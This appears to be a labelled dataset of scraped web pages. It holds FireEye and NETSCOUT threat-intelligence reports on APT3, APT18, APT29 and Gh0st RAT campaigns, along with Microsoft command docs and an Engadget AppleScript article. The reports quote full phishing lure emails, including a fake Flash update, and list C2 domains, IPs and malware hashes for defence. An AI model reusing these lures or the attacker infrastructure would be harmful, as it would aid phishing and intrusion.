Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Demonstrating Hustle, Chinese APT Groups Quickly U... Threat Research Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak July 13, 2015 | by FireEye Threat Intelligence | Threat Intelligence Advanced Persistent Threat Detection Threat Intelligence Advanced Persistent Threat The FireEye as a Service team detected independent phishing campaigns conducted by two Chinese advanced persistent threat (APT) groups that we track, APT3 and APT18. Each threat group quickly took advantage of a zero-day vulnerability (CVE-2015-5119), which was leaked in the disclosure of Hacking Team\xe2\x80\x99s internal data. Adobe released a patch for the vulnerability on July 8, 2015. Before that patch was released, the groups launched phishing campaigns against multiple companies in the aerospace and defense, construction and engineering, education, energy, health and biotechnology, high tech, non-profit, telecommunications, and transportation industries. \xc2 As of publication, we have no reason to believe APT3 and APT18 are working together. Their opportunism demonstrates each group\xe2\x80\x99s flexibility, organization, and awareness of developments in the information security community. APT3\xe2\x80\x99s Campaign APT3\xc2 actors targeted at least 10 organizations in the following industries: Aerospace and Defense Construction and Engineering Energy High Tech Non-Profit Telecommunications Transportation \xc2 An example of an APT3 phishing email is below in Figure 1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 FROM:\xc2 """" @perrydale.com \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 SUBJECT:\xc2 Analysis report- 2015 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 URLs: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 hxxp://report.perrydale[.]com/ema/RR201507[.]pdf \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 hxxp://vic.perrydale[.]com/logo2.jpg \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 hxxp://rpt.perrydale[.]com/en/rep201507101[.]pdf \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Figure 1: An example of APT3 phishing email using CVE-2015-5119 As of July 8, all three domains observed in the URLs resolved to 194.44.130.179. Similar to APT3\xe2\x80\x99s activity in Operation Clandestine Wolf, the URLs redirect to JavaScript profilers and a malicious Adobe Flash file. The Flash file downloads an obfuscated GIF, which contains a SHOTPUT payload compiled the day APT3 sent the phishing emails. SHOTPUT is a DLL backdoor that that communicates over HTTP and may be capable of uploading or downloading files, managing processes, executing system commands, and collecting system information. SHOTPUT may also be detected as Backdoor.APT.CookieCutter. The SHOTPUT backdoor communicates to the following command and control (CnC) addresses, which are hardcoded into the malware: psa.perrydale[.]com link.angellroofing[.]com 107.20.255.57 23.99.20.198 This is the third time since mid-2014 that we have observed APT3 using a zero-day, which attests to its ability to capitalize on new exploits. APT18\xe2\x80\x99s Campaign APT18 actors targeted at least 13 organizations in the following industries: Aerospace and Defense Construction and Engineering Education Health and Biotechnology High Tech Telecommunications Transportation An example of an APT18 phishing email is shown in Figure 2: FROM:\xc2 @duwrt.com SUBJECT:\xc2 Important:Flash Update Body: Dear, If you already have Flash installed on your computer, you'll be asked to download and install update. Once the new update is installed, Flash should function normally. Update Outlook Many Flash problems can be solved by updating your client software to the latest version. Please verify that you have all the latest updates available for your version of Adobe flash software. Here's how: 1.Download update hxxp://get[.]adobe[.]com/\xc2 (masked URL:\xc2 hxxp://137.175.4[.]132/index.htm) 2.Click Check for Updates. 3.Restart your computer after you have verified that all updates are installed. You must have administrative privileges on your computer to install any Flash. Please contact your desktop support staff if you need assistance. \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Figure 2:\xc2 An example of APT18 phishing email using CVE-2015-5119 Once the victim clicks the URL, the system downloads a malicious Adobe Flash (.swf) file with the properties shown in Figure 3. Filename:\xc2 movie.swf MD5:\xc2 079a440bee0f86d8a59ebc5c4b523a07 Filesize:\xc2 214976 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Figure 3: APT18 Malicious SWF Properties Upon exploitation, a GH0ST RAT variant is delivered to the victims\xe2\x80\x99 system, which calls out to a previously known APT18 CnC address 223.25.233.248. GH0ST RAT is a backdoor derived from public source code. It may also be detected as Backdoor.APT.Gh0stRat. The compiled source code provides attackers with many ways to control a victim\xe2\x80\x99s system, including the ability to create, manipulate, delete, launch, or transfer files; perform screen or audio capture; enable a webcam; list or kill processes; open a command shell; and wipe event logs. However, since the source code is public, threat groups may tailor the code by removing or adding functionality. Comparing the Campaigns APT3 and APT18 took a slightly different approach in employing the exploit, which demonstrates they likely work independently. As usual, APT3 used compromised infrastructure, while APT18 relied on procured infrastructure. APT3 used customized phishing emails that sometimes contained the names of the targeted organizations, whereas APT18\xe2\x80\x99s emails were nonspecific and likely crafted to be used on multiple targets. Quick Turnaround Time Demonstrates Adaptability and Opportunism The groups demonstrated their adaptability and skill by quickly employing Hacking Team\xe2\x80\x99s leaked zero-day before the vulnerability was patched. Both groups likely monitor information from security research to learn what exploits are available and how network defenders are reacting to them. We have previously observed APT3 monitoring and quickly changing tactics based on public research. After we exposed details about Operation Clandestine Wolf, APT3 changed its phishing emails, modified filenames, and updated its backdoor. In the past, APT3 and APT18 have frequently developed or adapted zero-day exploits for operations, which were likely planned in advance. Using data from the Hacking Team leak demonstrates how they can shift resources\xe2\x80\x94selecting targets, preparing infrastructure, crafting messages, and updating tools\xe2\x80\x94to take advantage of unexpected opportunities like newly exposed exploits. Recommendations FireEye maintains endpoint and network detection for CVE-2015-5119, the backdoors used in these campaigns, and other tools used by these groups. Additionally, we highly recommend: Applying Adobe\xe2\x80\x99s patch for Flash immediately, Querying for additional activity by source addresses or email indicators, Blocking CnC addresses via outbound communications, and Scope the environment to prepare for incident response. Note: IOCs for this campaign can be found here. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Del | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Del 08/31/2016 2 minutes to read In this article \xc2 Applies To: Windows Vista, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows 8 Deletes one or more files. This command is the same as the erase command. For examples of how to use this command, see Examples. Syntax del [/p] [/f] [/s] [/q] [/a[:]] erase [/p] [/f] [/s] [/q] [/a[:]] Parameters Parameter Description Specifies a list of one or more files or directories. Wildcards may be used to delete multiple files. If a directory is specified, all files within the directory will be deleted. /p Prompts for confirmation before deleting the specified file. /f Forces deletion of read-only files. /s Deletes specified files from the current directory and all subdirectories. Displays the names of the files as they are being deleted. /q Specifies quiet mode. You are not prompted for delete confirmation. /a[:] Deletes files based on the following file attributes: r Read-only files h Hidden files i Not content indexed files s System files a Files ready for archiving \xc2 \xc2 \xc2 l Reparse points - Prefix meaning 'not' /? Displays help at the command prompt. Remarks Warning If you use del to delete a file from your disk, you cannot retrieve it. If you use /p, del displays the name of a file and sends the following message: FileName, Delete (Y/N)? To confirm the deletion, press Y. To cancel the deletion and display the next file name (that is, if you specified a group of files), press N. To stop the del command, press CTRL+C. If you disable command extensions, /s displays the names of any files that were not found instead of displaying the names of files that are being deleted (that is, the behavior is reversed). If you specify a folder in Names, all of the files in the folder are deleted. For example, the following command deletes all of the files in the \\Work folder: del \\work You can use wildcards (* and ?) to delete more than one file at a time. However, to avoid deleting files unintentionally, you should use wildcards cautiously with the del command. For example, if you type the following command: del *.* The del command displays the following prompt: Are you sure (Y/N)? To delete all of the files in the current directory, press Y and then press ENTER. To cancel the deletion, press N and then press ENTER. Note Before you use wildcard characters with the del command, use the same wildcard characters with the dir command to list all the files that will be deleted. The del command, with different parameters, is available from the Recovery Console. Examples To delete all the files in a folder named Test on drive C, type either of the following: del c:\\test del c:\\test\\*.* To delete all files with the .bat file name extension from the current directory, type: del *.bak To delete all read-only files in the current directory, type: del /a:r *.* Additional references Command-Line Syntax Key Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Reg | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Reg 08/31/2016 2 minutes to read In this article \xc2 Applies To: Windows Server 2003, Windows Vista, Windows XP, Windows Server 2008, Windows 7, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8 Performs operations on registry subkey information and values in registry entries. The reg commands include: Reg add Reg compare Reg copy Reg delete Reg export Reg import Reg load Reg query Reg restore Reg save Reg unload Some operations enable you to view or configure registry entries on local or remote computers, while others allow you to configure only local computers. Using reg to configure the registry of remote computers limits the parameters that you can use in some operations. Check the syntax and parameters for each operation to verify that they can be used on remote computers Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"AppleScript and Automator gain new features in OS X Mavericks Login Home Reviews Gear Gaming Entertainment Tomorrow Audio Video Buyer's Guide Back to School Outdoor Tech 2019 Camera Guide Parenting and Tech Best of CES Phones Laptops View All Log in Sign up 3 related articles Login Watch Apple's 2019 iPhone event here at 1PM ET Microsoft's redesigned To Do app ties into more of its services 'Untitled Goose Game' will unleash avian chaos on September 20th Latest in Applescript Kill no-close-em Safari pages with AppleScript 09.03.14 View Daily Update for January 29, 2014 01.29.14 View AppleScript returns to Numbers, and other news for Jan. 29, 2014 01.29.14 View Friday Favorite: Use AppleScript to delete files from a folder 01.03.14 View Image credit: Save AppleScript and Automator gain new features in OS X Mavericks Steven Sande, @stevensande 10.23.13 Comments Share Tweet Share Save Sponsored Links Mac power users love to play with scripting and automation. If there's something that's repetitive that needs to be done, it's a lot easier just to either use Automator to automate the process or write an AppleScript to dive in a little deeper. With OS X Mavericks, it appears that Apple has added some features that will help ""self-developers"" who want to add their own capabilities to their Macs and commercial apps. On the other hand, there are fewer scriptable items available in many of the new Apple apps... iCloud Sync To begin with, there's a surprise for anyone who launches either Automator or AppleScript Editor. The first thing you'll find is that both apps were updated with iCloud compatibility. AppleScripts that you've created or Automator workflows can now be moved into the cloud and synced to all of your Macs that are running OS X Mavericks. Sure, that's a little thing, but it's useful if you're creating and updating scripts or workflows that need to be deployed to a handful of Macs automatically. Notifications Want to annoy yourself? AppleScript and Automator now includes a Display Notification command that you can use to send yourself notifications from your own scripts. That's actually quite useful if you want to write a script or run an Automator action that's going to ping you when it's done through Notification Center. There's got to be a way to use this to annoy coworkers... Libraries Now this is cool. Let's say that you have code that can be used in a number of scripts. Now you can create an AppleScript Library, which is a script that contains a frequently used routine. Store that in ~\\Library\\Script Libraries\\, and now any other script can use that code by simply calling it with a new use clause. Write once, use many times. Blogger Don Southard over at MacStories has a good example of how to use libraries in his writeup of scripting and automation improvements in Mavericks. Code Signing This may not sound like a big thing, but it's huge. Apple developers can now generate signed copies of applets and droplets as part of the export process in both AppleScript and Automator. Signing these applets means that users launching them will not get the usual Gatekeeper security warning, and adds an incentive for developers to include easy automation tools in their solutions. Speakable-Workflows Now here's a wonderful addition for those who are creating accessible solutions. If Speakable Items is activated in the Accessibility system preferences, Automator adds a new option to the save dialog to save applets as Speakable Items. With that one click, those items are saved to the Speakable Items architecture and can be executed by speaking the name of the applet. Now, about those new apps... On the bad side, some of the new apps appear to be missing a lot of commands in their dictionaries. For example, opening the dictionary of Pages '09 displayed the following: Compare that to the new dictionary for the current iteration of Pages: What's missing? Well, a lot. The Pages Application Suite used to let you do things like script the addition of a chart or table to a document; the Graphics Suite made it easy to script changes to things like the alpha threshold of an image; and the Text Suite even allowed scripting of things like inserting a table of content to a Pages document or fine-tuning the look of character styles. Can't do that with the new Pages... Hopefully Apple will add these capabilities back in an update to Pages and the other iWork apps. (Thanks to reader Peter P. for noting this omission from Pages.) This is just what I've been able to find -- or not find -- in a cursory look at Maverick's automation tools. As more capabilities and deletions become apparent, this post will be updated. I'd also recommend taking a look at MacOSXAutomation.com, which is always helpful and useful when you're considering the use of the built-in OS X automation tools. In this article: applescript, automator, iWork, Mac, mavericks, notification center, NotificationCenter, os x, os x mavericks, OsX, OsXMavericks All products recommended by Engadget are selected by our editorial team, independent of our parent company. Some of our stories include affiliate links. If you buy something through one of these links, we may earn an affiliate commission. Comments Share Tweet Share Save Popular on Engadget Engadget's Guide to Privacy View 'Dragon Ball Z: Kakarot' arrives on January 17th, 2020 View Nintendo is holding an online 'Mario Kart 8 Deluxe' tournament this Sunday View LinkedIn's new quizzes can prove you're not lying on your resume View Rockstar rolls out its own PC games launcher View From around the web About About Engadget About Our Ads Advertise Brand Kit Buyers Guide Contact Us RSS Feed Sections Reviews Gear Gaming Entertainment Tomorrow The Buyer's Guide Video Podcasts Deals Contribute Comment Guidelines Send us a tip! Support International \xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87 \xe7\xae\x80\xe4\xbd\x93\xe4\xb8\xad\xe6\x96\x87 \xe6\x97\xa5\xe6\x9c\xac\xe7\x89\x88 Join Our Newsletter Subscribe Follow Us \xc2\xa9 2019 Verizon Media. All rights reserved. About Verizon Media Reprints and Permissions Suggestions Privacy Policy (Updated) Terms of Service (Updated) Trademarks Advertise","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Home Musical Chairs Playing Tetris tetris by ASERT Team on FEBRUARY 15TH, 2018 February 20, 2018: This blog has been amended since it was originally published on February 15, 2018. This version removes the association with the APT group responsible for the Night Dragon campaign that we had incorrectly made. We thank the research team at Palo Alto Networks for graciously bringing this to our attention. Introduction ASERT has discovered new command-and-control infrastructure controlled by the actors behind the Musical Chairs campaign. The actors are known for the longevity of their C2 domains, reusing them long after they have been identified, and for making use of a popular opened sourced RAT called Gh0st. Uniquely in our observation, they have even embedded a fully-functional version of the game Tetris that will launch only when a special condition is meet. Key Findings ASERT has discovered a new domain associated with the actors behind the Musical Chairs campaign. This long-standing actor is known for maintaining static command-and-control infrastructure such as domains for long periods of time, even when they have been discovered and widely publicized in the community. With moderate confidence, ASERT expects this domain to be used in new intrusions. Multiplearticles have been written about Gh0st over the years, including this one discussing the Musical Chairs campaign's use of this RAT. Using details from that report, ASERT has identified a new sample and more interestingly, a new domain that we have associated with the corresponding actor.The sample appears to be delivered via an email according to artifacts provided by malware-traffic-analysis, which is consistent with documented tactics for this group. Gh0st variants are prolific as they can be found in a popular open-source source code repository - this blog provides the basis for our association with the actor. Analysis Malware Example of this Gh0st's init/login packet (notice 'aaaaabbbbb' which can be used to identify this variant): Some other behavior of interest observed while reviewing this actor's specimen is they appear to be moving away from BAT and JS files as part of the infection process[i] to using DLL side loading. This is just one sample though, so take this for what it is. As part of the DLL side-loading, they make use of a signed executable to load a DLL which in turn is used to launch the actual Gh0st DLL. They are not the only malware authors who use this trick. The observed functionality in this sample maps directly to public documentation for Gh0st, so this blog will not rehash that. Association No. 1 Starting with the known C2 servers for this group, we can check to see if the new domain has any ties to them. Two of their C2s were registered back in 2013 and the campaign has been around even longer than that per Known Domains yourbroiler[.]com meitanjiaoyiwang[.]com New Domain etybh[.]com Looking at DomainTools, we learn that all three share the same IP, 45.34.148.126, and the same registrar, Jiangsu Bangning Science & Technology Co. LTD.The newest domain, etybh[.]com, was registered in December of 2017. Looking at PassiveTotal, all three domains appeared to have switched from 98.126.223.218 to 45.34.148.146 sometime in the middle of January 2018. This is our first clue that they are related. Association No. 2 This one comes from looking at behavior when the file is attached to a debugger. First, let us back up a step. Observing behaviors of our suspected Musical Chairs Gh0st sample via a sandbox, we see that it creates a folder called ""Win32Tetris"". Let's see if there are any other Gh0st samples that do this as well. Taking a look through ASERT's malware corpus we find this sample, 11fe12bbb479b4562c1f21a74e09b233ed41c41b7c4c0cad73692ff4672fb86a, which also creates that folder. Using clues left by another researcher[ii], we can confirm that this more recent sample is from the Musical Chairs group due to the C2 and some other characteristics we'll go over. The most promising correlation is that this sample's C2 is www.yourbroiler[.]com which is a known C2 for this actor. Next, we find similarities from a different dropped file called C:\\microsoft\\lib\\ki\\vv.js whose content reads as such: The content is similar to samples identified back in 2015[iii], which also used rundll32 to call a mystart method. And, finally, this sample makes use of the same mutex tied to this actor's Gh0st variant: dafewewrw. To summarize the pivot sample Property Value Load the dll via a script file called C:\\microsoft\\lib\\ki\\vv.js Domain www.yourbroiler[.]com Mutex dafewewrw Now that we have confirmed that this sample appears to be a Musical Chairs actor Gh0st variant, let's work the pivot (going to refer to this sample as the ""pivot"" sample). The pivot sample, when attached to a debugger, will launch what appears to be a fully functional Tetris game (very friendly of them to provide us reverse engineers with a short break): The latest sample (the one tied to the new domain, etybh[.]com) also exhibits this same behavior when attached to the debugger. To play the game make sure to not hide the PEB. For what it is worth, after checking out one of the prior samples from 2015[iv], it exhibited similar behavior; just not a Tetris game. Association No. 3 The final observation is the fact that the payload dropped on the file system as RasTls.dat is in fact an obfuscated DLL file. When looking at the DLL properties the mystart function is exported. Again, mystart is the exported DLL function which the samples back in 2015 called. Conclusion While it should not surprise us when a long-standing actor switches things up, this specific actor is known for not really changing much. The use of a different Gh0st variant in addition to the new domain may be indicative of additional changes coming or the actor may be just keeping up with the times. Given previously observed behavior, it is likely that this indicator will be used in the campaign for the foreseeable future and ASERT is making it available to enable visibility for the broader security research community. [i]https://researchcenter.paloaltonetworks.com/2015/09/musical-chairs-mult\xe2\x80\xa6 [ii]https://researchcenter.paloaltonetworks.com/2015/09/musical-chairs-mult\xe2\x80\xa6 [iii]https://researchcenter.paloaltonetworks.com/2015/09/musical-chairs-mult\xe2\x80\xa6 [iv] Hash: 50f08f0b23fe1123b298cb5158c1ad5a8244ce272ea463a1e4858d12719b337f POSTED IN Analysis Malware Subscribe Sign up now to receive the latest notifications and updates from NETSCOUT's ASERT. NETSCOUT \xc2\xa9 2019 NETSCOUT TERMS & CONDITIONS DATA PRIVACY AND TRUST CENTER TRANSPARENCY IN SUPPLY CHAINS VENDOR PORTAL","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Not So Cozy: An Uncomfortable Examination of a Sus... Threat Research Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign November 19, 2018 | by Matthew Dunwoody, Andrew Thompson, Ben Withnell, Jonathan Leathery, Michael Matonis, Nick Carr Spear Phishing Phishing APT Introduction FireEye devices detected intrusion attempts against multiple industries, including think tank, law enforcement, media, U.S. military, imagery, transportation, pharmaceutical, national government, and defense contracting. The attempts involved a phishing email appearing to be from the U.S. Department of State with links to zip files containing malicious Windows shortcuts that delivered Cobalt Strike Beacon. Shared technical artifacts; tactics, techniques, and procedures (TTPs); and targeting connect this activity to previously observed activity suspected to be APT29. APT29 is known to transition away from phishing implants within hours of initial compromise. On November 14, 2018, FireEye detected new targeted phishing activity at more than 20 of our clients across multiple industries. (UPDATE) This campaign has targeted over 20 FireEye customers across: Defense, Imagery, Law Enforcement, Local Government, Media, Military, Pharmaceutical, Think Tank, Transportation, & US Public Sector industries in multiple geographic regions. \xe2\x80\x94 FireEye (@FireEye) November 15, 2018 The attacker appears to have compromised the email server of a hospital and the corporate website of a consulting company in order to use their infrastructure to send phishing emails. The phishing emails were made to look like secure communication from a Public Affairs official at the U.S. Department of State, hosted on a page made to look like another Department of State Public Affairs official's personal drive, and used a legitimate Department of State form as a decoy. This information could be obtained via publicly available data, and there is no indication that the Department of State network was involved in this campaign. The attacker used unique links in each phishing email and the links that FireEye observed were used to download a ZIP archive that contained a weaponized Windows shortcut file, launching both a benign decoy document and a Cobalt Strike Beacon backdoor, customized by the attacker to blend in with legitimate network traffic. Several elements from this campaign \xe2\x80\x93 including the resources invested in the phishing email and\xc2 network infrastructure, the\xc2 metadata\xc2 from the weaponized shortcut file payload, and the specific victim individuals and organizations targeted \xe2\x80\x93 are directly linked to the last observed APT29 phishing campaign from November 2016. This blog post explores those\xc2 technical breadcrumbs and the possible intentions of this\xc2 activity. Attribution Challenges Conclusive FireEye attribution is often obtained through our Mandiant consulting team's investigation of incidents at compromised organizations, to identify details of the attack and post-compromise activity at victims. FireEye is still analyzing this activity. There are several similarities and technical overlaps between the 14 November 2018, phishing campaign and the suspected APT29 phishing campaign on 9 November 2016, both of which occurred shortly after U.S. elections. However, the new campaign included creative new elements as well as a seemingly deliberate reuse of old phishing tactics, techniques and procedures (TTPs), including using the same system to weaponize a Windows shortcut (LNK) file. APT29 is a sophisticated actor, and while sophisticated actors are not infallible, seemingly blatant mistakes are cause for pause when considering historical uses of deception by Russian intelligence services. It has also been over a year since we have conclusively identified APT29 activity, which raises questions about the timing and the similarities of the activity after such a long interlude. Notable similarities between this and the 2016 campaign include the Windows shortcut metadata, targeted organizations and specific individuals, phishing email construction, and the use of compromised infrastructure. Notable differences include the use of Cobalt Strike, rather than custom malware; however, many espionage actors do use publicly and commercially available frameworks for reasons such as plausible deniability. During the phishing campaign, there were indications that the site hosting the malware was selectively serving payloads. For example, requests using incorrect HTTP headers reportedly served ZIP archives containing only the benign publicly available Department of State form. It is possible that the threat actor served additional and different payloads depending on the link visited; however, FireEye has only observed two: the benign and Cobalt Strike variations. We provide details of this in the activity summary. Analysis of the campaign is ongoing, and we welcome any additional information from the community. Activity Summary The threat actor crafted the phishing emails to masquerade as a U.S. Department of State Public Affairs official sharing an official document. The links led to a ZIP archive that contained a weaponized Windows shortcut file hosted on a likely compromised legitimate domain, jmj[.].com. The shortcut file was crafted to execute a PowerShell command that read, decoded, and executed additional code from within the shortcut file. Upon execution, the shortcut file dropped a benign, publicly available, U.S. Department of State form and Cobalt Strike Beacon. Cobalt Strike is a commercially available post-exploitation framework. The BEACON payload was configured with a modified variation of the publicly available ""Pandora"" Malleable C2 Profile and used a command and control (C2) domain \xe2\x80\x93 pandorasong[.]com \xe2\x80\x93 assessed to be a masquerade of the Pandora music streaming service. The customization of the C2 profile may have been intended to defeat less resilient network detection methods dependent on the default configurations. The shortcut metadata indicates it was built on the same or very similar system as the shortcut used in the November 2016 campaign. The decoy content is shown in Figure 1. Figure 1: Decoy document content Similarities to Older Activity This activity has TTP and targeting overlap with previous activity, suspected to be APT29. The malicious LNK used in the recent spearphishing campaign, ds7002.lnk (MD5: 6ed0020b0851fb71d5b0076f4ee95f3c), has technical overlaps with a suspected APT29 LNK from November 2016, 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk (MD5: f713d5df826c6051e65f995e57d6817d), which was publicly reported by Volexity. The 2018 and 2016 LNK files are similar in structure and code, and contain significant metadata overlap, including the MAC address of the system on which the LNK was created. Additional overlap was observed in the targeting and tactics employed in the phishing campaigns responsible for distributing these LNK file. Previous APT29 activity targeted some of the same recipients of this email campaign, and APT29 has leveraged large waves of emails in previous campaigns. Outlook and Implications Analysis of this activity is ongoing, but if the 